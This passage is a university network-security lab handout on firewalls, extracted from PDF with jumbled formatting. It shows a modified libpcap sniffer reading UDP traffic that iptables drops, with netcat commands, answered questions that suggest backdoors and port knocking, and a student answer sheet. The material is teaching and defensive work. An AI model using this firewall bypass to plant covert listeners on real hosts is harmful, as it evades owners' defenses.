For most backdoors, an effective Firewall will minimize the damage they cause. If you can’t
access the backdoor from outside the computer, then it’s useless.
IPtables is an effective Linux firewall and is heavily relied upon for security. However, one
must understand how it really functions. When we talk about “dropping packets,” what do we
mean? They don’t simply disappear. They still exist and are “in” your machine. Firewalls
simply keep the packet from getting to the TCP/IP stack in the kernel. While this prevents most
damage, it is not foolproof.
If one can “grab” the packet directly from the interface and process it in user space, iptables
would be completely unable to stop it. Libpcap is an open source library that provides just such
functionality. Designed to be a platform-independent library for implementing packet sniffing
and network monitoring, pcap will create a raw socket that completely bypasses iptables and the
kernel stack. Obviously, performance is greatly reduced… but access can be unfettered!
The example
The basic code was obtained from http://www.tcpdump.org/pcap.htm . It is included as an
example to demonstrate the functionality of Libpcap. It is originally called sniffex.c and our
improved version is called bettersniffex.c. Simply, we rearranged code and created functionality
for another command line argument and udp packet processing. We also eliminated all output
except for packet payload. It now looks much like a udp session of netcat.
107
Because we are handling these packets outside of the kernel, there is NO TCP/IP processing.
This program is a receive only implementation. It doesn’t send ACKs, SYN-ACK’s, etc. As a
result, it will only work with UDP. Obviously, with more code, it could do more. But, do you
really want to re-code the entire TCP/IP stack in user space?
Exercise
1. Download the code and makefile to the /root/tools directory of your host machine.
2. Type ‘make’ at the command prompt to compile the code.
3. Start a netcat listener on the host machine. Make sure it is in UDP mode:
nc -l -u -p 1234
3. Run the code as follows in another terminal:
./bettersniffex eth0 “port 1234”
10.
From a virtual machine, run netcat in udp mode and connect to the host machine.
nc -u <a.b.c.d> 1234
a.b.c.d = your IP address.
Question 1: Can you see output on the host machine in netcat? Can you see it in the sniffer?
Q1: yes
End the sniffer with CTRL-C and add a rule to IPTABLES to block udp:
iptables -A INPUT -j DROP -p udp
6. Restart the bettersniffex program and netcat on the host machine.
7. Restart netcat on the virtual machine. Reattempt to connect.
Question 2: Can you see output on the host machine in netcat? Can you see it in the sniffer?
Q2: yes
Question 3: If you were to take this output and send it to another netcat session or write
additional code for a raw output socket, what kinds of things can you do (give one example)?
Q3: create backdoor with netcat, implement “port knocking,” forward packets to other
machines, loopback to localhost, etc.
Question 4: How can you defend against this vulnerability?
Q4: move the firewall to separate machine, limit root processes, closely monitor running
processes, remove pcap.
Question 5: Why won’t this code work if you attempt to connect to the bettersniffex program
with Netcat in TCP mode?
Q5: Because bettersniffex.c only monitors for packets and contains no TCP processing, no
syn-ack packet will be sent to the remote machine. When it doesn’t receive this packet, the
remote connection will time out.
108
/*
*
* Modified by Stephen Thompson & Scott Durr for ECE 4112, Fall 2007
* All modifications marked, original code commented.
*
*
* sniffex.c
*
* Sniffer example of TCP/IP packet capture using libpcap.
*
* Version 0.1.1 (2005-07-05)
* Copyright (c) 2005 The Tcpdump Group
*
* This software is intended to be used as a practical example and
* demonstration of the libpcap library; available at:
* http://www.tcpdump.org/
*
****************************************************************************
*
* This software is a modification of Tim Carstens' "sniffer.c"
* demonstration source code, released as follows:
*
* sniffer.c
* Copyright (c) 2002 Tim Carstens
* 2002-01-07
* Demonstration of using libpcap
* timcarst -at- yahoo -dot- com
*
* "sniffer.c" is distributed under these terms:
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
*
notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
*
notice, this list of conditions and the following disclaimer in the
*
documentation and/or other materials provided with the distribution.
* 4. The name "Tim Carstens" may not be used to endorse or promote
*
products derived from this software without prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
* <end of "sniffer.c" terms>
*
* This software, "sniffex.c", is a derivative work of "sniffer.c" and is
* covered by the following terms:
*
109
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Because this is a derivative work, you must comply with the "sniffer.c"
*
terms reproduced above.
* 2. Redistributions of source code must retain the Tcpdump Group copyright
*
notice at the top of this source file, this list of conditions and the
*
following disclaimer.
* 3. Redistributions in binary form must reproduce the above copyright
*
notice, this list of conditions and the following disclaimer in the
*
documentation and/or other materials provided with the distribution.
* 4. The names "tcpdump" or "libpcap" may not be used to endorse or promote
*
products derived from this software without prior written permission.
*
* THERE IS ABSOLUTELY NO WARRANTY FOR THIS PROGRAM.
* BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
* FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
* OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
* PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
* OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
* TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
* PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
* REPAIR OR CORRECTION.
*
* IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
* WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
* REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
* INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES
ARISING
* OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
* TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
* YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
* PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGES.
* <end of "sniffex.c" terms>
*
****************************************************************************
*
* Below is an excerpt from an email from Guy Harris on the tcpdump-workers
* mail list when someone asked, "How do I get the length of the TCP
* payload?" Guy Harris' slightly snipped response (edited by him to
* speak of the IPv4 header length and TCP data offset without referring
* to bitfield structure members) is reproduced below:
*
* The Ethernet size is always 14 bytes.
*
* <snip>...</snip>
*
* In fact, you *MUST* assume the Ethernet header is 14 bytes, *and*, if
* you're using structures, you must use structures where the members
* always have the same size on all platforms, because the sizes of the
* fields in Ethernet - and IP, and TCP, and... - headers are defined by
* the protocol specification, not by the way a particular platform's C
* compiler works.)
*
* The IP header size, in bytes, is the value of the IP header length,
110
* as extracted from the "ip_vhl" field of "struct sniff_ip" with
* the "IP_HL()" macro, times 4 ("times 4" because it's in units of
* 4-byte words). If that value is less than 20 - i.e., if the value
* extracted with "IP_HL()" is less than 5 - you have a malformed
* IP datagram.
*
* The TCP header size, in bytes, is the value of the TCP data offset,
* as extracted from the "th_offx2" field of "struct sniff_tcp" with
* the "TH_OFF()" macro, times 4 (for the same reason - 4-byte words).
* If that value is less than 20 - i.e., if the value extracted with
* "TH_OFF()" is less than 5 - you have a malformed TCP segment.
*
* So, to find the IP header in an Ethernet packet, look 14 bytes after
* the beginning of the packet data. To find the TCP header, look
* "IP_HL(ip)*4" bytes after the beginning of the IP header. To find the
* TCP payload, look "TH_OFF(tcp)*4" bytes after the beginning of the TCP
* header.
*
* To find out how much payload there is:
*
* Take the IP *total* length field - "ip_len" in "struct sniff_ip"
* - and, first, check whether it's less than "IP_HL(ip)*4" (after
* you've checked whether "IP_HL(ip)" is >= 5). If it is, you have
* a malformed IP datagram.
*
* Otherwise, subtract "IP_HL(ip)*4" from it; that gives you the length
* of the TCP segment, including the TCP header. If that's less than
* "TH_OFF(tcp)*4" (after you've checked whether "TH_OFF(tcp)" is >= 5),
* you have a malformed TCP segment.
*
* Otherwise, subtract "TH_OFF(tcp)*4" from it; that gives you the
* length of the TCP payload.
*
* Note that you also need to make sure that you don't go past the end
* of the captured data in the packet - you might, for example, have a
* 15-byte Ethernet packet that claims to contain an IP datagram, but if
* it's 15 bytes, it has only one byte of Ethernet payload, which is too
* small for an IP header. The length of the captured data is given in
* the "caplen" field in the "struct pcap_pkthdr"; it might be less than
* the length of the packet, if you're capturing with a snapshot length
* other than a value >= the maximum packet size.
* <end of response>
*
****************************************************************************
*
* Example compiler command-line for GCC:
*
gcc -Wall -o sniffex sniffex.c -lpcap
*
****************************************************************************
*
* Code Comments
*
* This section contains additional information and explanations regarding
* comments in the source code. It serves as documentaion and rationale
* for why the code is written as it is without hindering readability, as it
* might if it were placed along with the actual code inline. References in
* the code appear as footnote notation (e.g. [1]).
111
*
* 1. Ethernet headers are always exactly 14 bytes, so we define this
* explicitly with "#define". Since some compilers might pad structures to a
* multiple of 4 bytes - some versions of GCC for ARM may do this * "sizeof (struct sniff_ethernet)" isn't used.
*
* 2. Check the link-layer type of the device that's being opened to make
* sure it's Ethernet, since that's all we handle in this example. Other
* link-layer types may have different length headers (see [1]).
*
* 3. This is the filter expression that tells libpcap which packets we're
* interested in (i.e. which packets to capture). Since this source example
* focuses on IP and TCP, we use the expression "ip", so we know we'll only
* encounter IP packets. The capture filter syntax, along with some
* examples, is documented in the tcpdump man page under "expression."
* Below are a few simple examples:
*
* Expression
Description
* -------------------* ip
Capture all IP packets.
* tcp
Capture only TCP packets.
* tcp port 80
Capture only TCP packets with a port equal to
80.
* ip host 10.1.2.3
Capture all IP packets to or from host
10.1.2.3.
*
****************************************************************************
*
*/
#define
#define
#define
#define
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
APP_NAME
APP_DESC
APP_COPYRIGHT
APP_DISCLAIMER
"sniffex"
"Sniffer example using libpcap"
"Copyright (c) 2005 The Tcpdump Group"
"THERE IS ABSOLUTELY NO WARRANTY FOR THIS PROGRAM."
<pcap.h>
<stdio.h>
<string.h>
<stdlib.h>
<ctype.h>
<errno.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>
<arpa/inet.h>
/* default snap length (maximum bytes per packet to capture) */
#define SNAP_LEN 1518
/* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN 6
112
//global variable added to affect output:
/* Ethernet header */
struct sniff_ethernet {
u_char ether_dhost[ETHER_ADDR_LEN];
*/
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
};
/* destination host address
/* source host address */
/* IP? ARP? RARP? etc */
/* IP header */
struct sniff_ip {
u_char ip_vhl;
/* version << 4 | header length >> 2
*/
u_char ip_tos;
/* type of service */
u_short ip_len;
/* total length */
u_short ip_id;
/* identification */
u_short ip_off;
/* fragment offset field */
#define IP_RF 0x8000
/* reserved fragment flag */
#define IP_DF 0x4000
/* dont fragment flag */
#define IP_MF 0x2000
/* more fragments flag */
#define IP_OFFMASK 0x1fff
/* mask for fragmenting bits */
u_char ip_ttl;
/* time to live */
u_char ip_p;
/* protocol */
u_short ip_sum;
/* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip)
(((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)
(((ip)->ip_vhl) >> 4)
/* TCP header */
typedef u_int tcp_seq;
struct sniff_tcp {
u_short th_sport;
/* source port */
u_short th_dport;
/* destination port */
tcp_seq th_seq;
/* sequence number */
tcp_seq th_ack;
/* acknowledgement number */
u_char th_offx2;
/* data offset, rsvd */
#define TH_OFF(th)
(((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS
(TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win;
/* window */
u_short th_sum;
/* checksum */
u_short th_urp;
/* urgent pointer */
};
113
//added a new struct to process UDP packets. sweet.
struct sniff_udp{
#define UDP_HDR_SIZE 8
u_short udp_sport;
u_short udp_dport;
u_short udp_length;
u_short udp_chksum;
};
void
got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char
*packet);
void
print_payload(const u_char *payload, int len);
void
print_hex_ascii_line(const u_char *payload, int len, int offset);
void
print_app_banner(void);
void
print_app_usage(void);
/*
* app name/banner
*/
void
print_app_banner(void)
{
printf("%s - %s\n", APP_NAME, APP_DESC);
printf("%s\n", APP_COPYRIGHT);
printf("%s\n", APP_DISCLAIMER);
printf("\n");
return;
}
/*
* print help text
*/
void
print_app_usage(void)
{
printf("Usage: %s [interface] [filter string]\n", APP_NAME);
printf("\n");
printf("Options:\n");
printf("
interface
Listen on <interface> for packets with <filter
string> applied.\n");
printf("\n");
return;
}
114
/*
* print data in rows of 16 bytes: offset
hex
ascii
*
* 00000
47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a
GET /
HTTP/1.1..
*/
void
print_hex_ascii_line(const u_char *payload, int len, int offset)
{
int i;
int gap;
const u_char *ch;
/* offset */
//printf("%05d
//
//
/*
*/
", offset);
/* hex */
/*ch = payload;
for(i = 0; i < len; i++) {
printf("%02x ", *ch);
ch++;
/* print extra space after 8th byte for visual aid */
//
if (i == 7)
//printf(" ");
//
}
/* print space to handle line less than 8 bytes */
if (len < 8)
printf(" ");
/* fill hex gap with spaces if not full line */
if (len < 16) {
gap = 16 - len;
for (i = 0; i < gap; i++) {
printf("
");
}
}
printf("
");
/* ascii (if printable) */
ch = payload;
for(i = 0; i < len; i++) {
if (isprint(*ch))
printf("%c",*ch);
//else
//printf(".");
ch++;
}
printf("\n");
fflush(stdout);
return;
}
115
/*
* print packet payload data (avoid printing binary data)
*/
void
print_payload(const u_char *payload, int len)
{
int
int
int
int
len_rem = len;
line_width = 16;
line_len;
offset = 0;
/* number of bytes per line */
/* zero-based offset counter
*/
const u_char *ch = payload;
if (len <= 0)
return;
/* data fits on one line */
//if (len <= line_width) {
print_hex_ascii_line(ch, len, offset);
//return;
//}
/* data spans multiple lines */
//for ( ;; ) {
/* compute current line length */
//line_len = line_width % len_rem;
/* print line */
//print_hex_ascii_line(ch, line_len, offset);
/* compute total remaining */
//len_rem = len_rem - line_len;
/* shift pointer to remaining bytes to print */
//ch = ch + line_len;
/* add offset */
//offset = offset + line_width;
/* check if we have line width chars or less */
//if (len_rem <= line_width) {
/* print last line and get out */
//print_hex_ascii_line(ch, len_rem, offset);
//break;
//}
//}
return;
}
/*
* dissect/print packet
*/
void
got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char
*packet)
{
static int count = 1;
/* packet counter */
/* declare pointers to packet headers */
116
const
const
const
const
const
int
int
int
int
struct sniff_ethernet *ethernet;
struct sniff_ip *ip;
struct sniff_tcp *tcp;
struct sniff_udp *udp;
char *payload;
/* The ethernet header [1] */
/* The IP header */
/* The TCP header */
/* Packet payload */
size_ip;
size_tcp;
size_udp;
size_payload;
//printf("\nPacket number %d:\n", count);
count++;
/* define ethernet header */
ethernet = (struct sniff_ethernet*)(packet);
/* define/compute ip header offset */
ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) {
printf("
* Invalid IP header length: %u bytes\n", size_ip);
return;
}
/* print source and destination IP addresses */
//printf("
From: %s\n", inet_ntoa(ip->ip_src));
//printf("
To: %s\n", inet_ntoa(ip->ip_dst));
/* determine protocol */
switch(ip->ip_p) {
case IPPROTO_TCP:
printf("
Protocol: TCP\n");
// following code moved from outside the switch statement.
/*
* OK, this packet is TCP.
*/
/* define/compute tcp header offset */
tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET +
size_ip);
size_tcp = TH_OFF(tcp)*4;
if (size_tcp < 20) {
printf("
* Invalid TCP header length: %u bytes\n",
size_tcp);
return;
}
printf("
printf("
Src port: %d\n", ntohs(tcp->th_sport));
Dst port: %d\n", ntohs(tcp->th_dport));
/* define/compute tcp payload (segment) offset */
payload = (u_char *)(packet + SIZE_ETHERNET + size_ip +
size_tcp);
/* compute tcp payload (segment) size */
size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);
117
break;
case IPPROTO_UDP:
//printf("
Protocol: UDP\n");
// following code modified from TCP
/* define/compute tcp header offset */
udp = (struct sniff_udp*)(packet + SIZE_ETHERNET +
size_ip);
size_udp = UDP_HDR_SIZE;
//printf("
//printf("
UDP Src port: %d\n", ntohs(udp->udp_sport));
UDP Dst port: %d\n", ntohs(udp->udp_dport));
payload = (u_char *)(packet + SIZE_ETHERNET + size_ip +
size_udp);
}
size_payload = ntohs(udp->udp_length);
break;
case IPPROTO_ICMP:
printf("
Protocol: ICMP\n");
return;
case IPPROTO_IP:
printf("
Protocol: IP\n");
return;
default:
printf("
Protocol: unknown\n");
return;
/*
* Print payload data; it might be binary, so don't just
* treat it as a string.
*/
if (size_payload > 0) {
//printf("
Payload (%d bytes):\n", size_payload);
print_payload(payload, size_payload);
}
return;
}
int main(int argc, char **argv)
{
char *dev = NULL;
/* capture device name */
char errbuf[PCAP_ERRBUF_SIZE];
/* error buffer */
pcap_t *handle;
/* packet capture handle */
//oringinal code:
//char filter_exp[] = "ip";
/* filter expression [3] */
//new code:
char *filter_exp = NULL; /*take as a command line argument*/
struct bpf_program fp;
(expression) */
/* compiled filter program
118
bpf_u_int32 mask;
bpf_u_int32 net;
int num_packets = 0;
/* subnet mask */
/* ip */
/* number of packets to capture */
//print_app_banner();
/* check for capture device name on command-line */
if (argc == 2) {
dev = argv[1];
filter_exp = "port 1234";
}
//added some more arguments
else if (argc == 3) {
dev = argv[1];
filter_exp = argv[2];
}
else if (argc > 3) {
fprintf(stderr, "error: unrecognized command-line options\n\n");
print_app_usage();
exit(EXIT_FAILURE);
}
else {
filter_exp = "port 1234";
/* find a capture device if not specified on command-line */
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n",
errbuf);
exit(EXIT_FAILURE);
}
}
/* get network number and mask associated with capture device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Couldn't get netmask for device %s: %s\n",
dev, errbuf);
net = 0;
mask = 0;
}
/* print capture info */
//printf("Device: %s\n", dev);
//printf("Number of packets: %d\n", num_packets);
//printf("Filter expression: %s\n", filter_exp);
/* open capture device */
//original code (promiscuous mode):
//handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);
//new code (NOT promiscuous mode):
handle = pcap_open_live(dev, SNAP_LEN, 0, 1000, errbuf);
//end new code.
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
exit(EXIT_FAILURE);
}
119
/* make sure we're capturing on an Ethernet device [2] */
if (pcap_datalink(handle) != DLT_EN10MB) {
fprintf(stderr, "%s is not an Ethernet\n", dev);
exit(EXIT_FAILURE);
}
/* compile the filter expression */
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n",
filter_exp, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
/* apply the compiled filter */
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n",
filter_exp, pcap_geterr(handle));
exit(EXIT_FAILURE);
}
/* now we can set our callback function */
pcap_loop(handle, num_packets, got_packet, NULL);
/* cleanup */
pcap_freecode(&fp);
pcap_close(handle);
//printf("\nCapture complete.\n");
return 0;
}
120
ECE 4112 Internetwork Security
Lab 4: Firewalls
Group Number: _________
Member Names: ___________________
_______________________
Q1.1. Write down which ports are open:
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your
answer differs for say a host versus a server.
Q1.3. Write down which ports are open after the firewalls installation:
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you
speculate what firewall rules caused this?
Q1.5. Comment on the differences now as opposed to the first rule used above:
121
Q1.6. Uncomment line 29 and restart the firewall. Explain what you saw and why:
Q1.7. Record these output in ethereal and comment on what you saw happen:
Q1.8. What did you see ?
Q1.9. Write down three rules that you think might be useful and explain what they do.
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.12 Why does the format of the protocol make it specially hard to catch with a firewall?
Q1.13 A common way network administrators check for backdoors running on
their system is to do a “netstat -na” Do this on your slave system, do you
see an open port for the reverse www shell? Why not?
122
Section 2
Q2.1. List the open ports on the Windows XP machine.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP
machine.
Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to
Linux's iptables?
Section 3
Q3.1. Can you ping each of these?
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Q3.3. What does this command show? What does it mean?
Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to
port 80 and check this. Can you do it?
Q3.5. Finally, can you ping the R2 terminal machine from the outside?
123
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or
disallow and from where? You can draw diagrams to explain this better.
Q3.7.Write the address of the web server, for the outside interface, below.
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the
outside?
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to
explain this.
Turn in a printout of the output of the command, given below, with your lab.
pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how
Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains
capability that we looked at before? By looking on the web, determine which which firewall
methodology is common in industry and why. Summarize your conclusion here and give
references to justify your answer.
124
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and/or improvements do you suggest for this lab? Please be very specific
and if you add new material give the exact wording and instructions you would give to
future students in the new lab handout. You may cross out and edit the text of the lab on
previous pages to make minor corrections/suggestions. General suggestions like add tool
xyz to do more capable scanning will not be awarded extras points even if the statement is
totally true. Specific text that could be cut and pasted into this lab, completed exercises,
and completed solutions may be awarded additional credit. Thus if tool xyz adds a
capability or additional or better learning experience for future students here is what you
need to do. You should add that tool to the lab by writing new detailed lab instructions on
where to get the tool, how to install it, how to run it, what exactly to do with it in our lab,
example outputs, etc. You must prove with what you turn in that you actually did the lab
improvement yourself. Screen shots and output hardcopy are a good way to demonstrate
that you actually completed your suggested enhancements. The lab addition section must
start with the form “laboratory Additions Cover Sheet” which may be found on the class
web site.
125
Turn-in checklist
You need to turn in.
Printout of the command pixGxx(config)# write terminal
Any corrections or additions to the lab.
126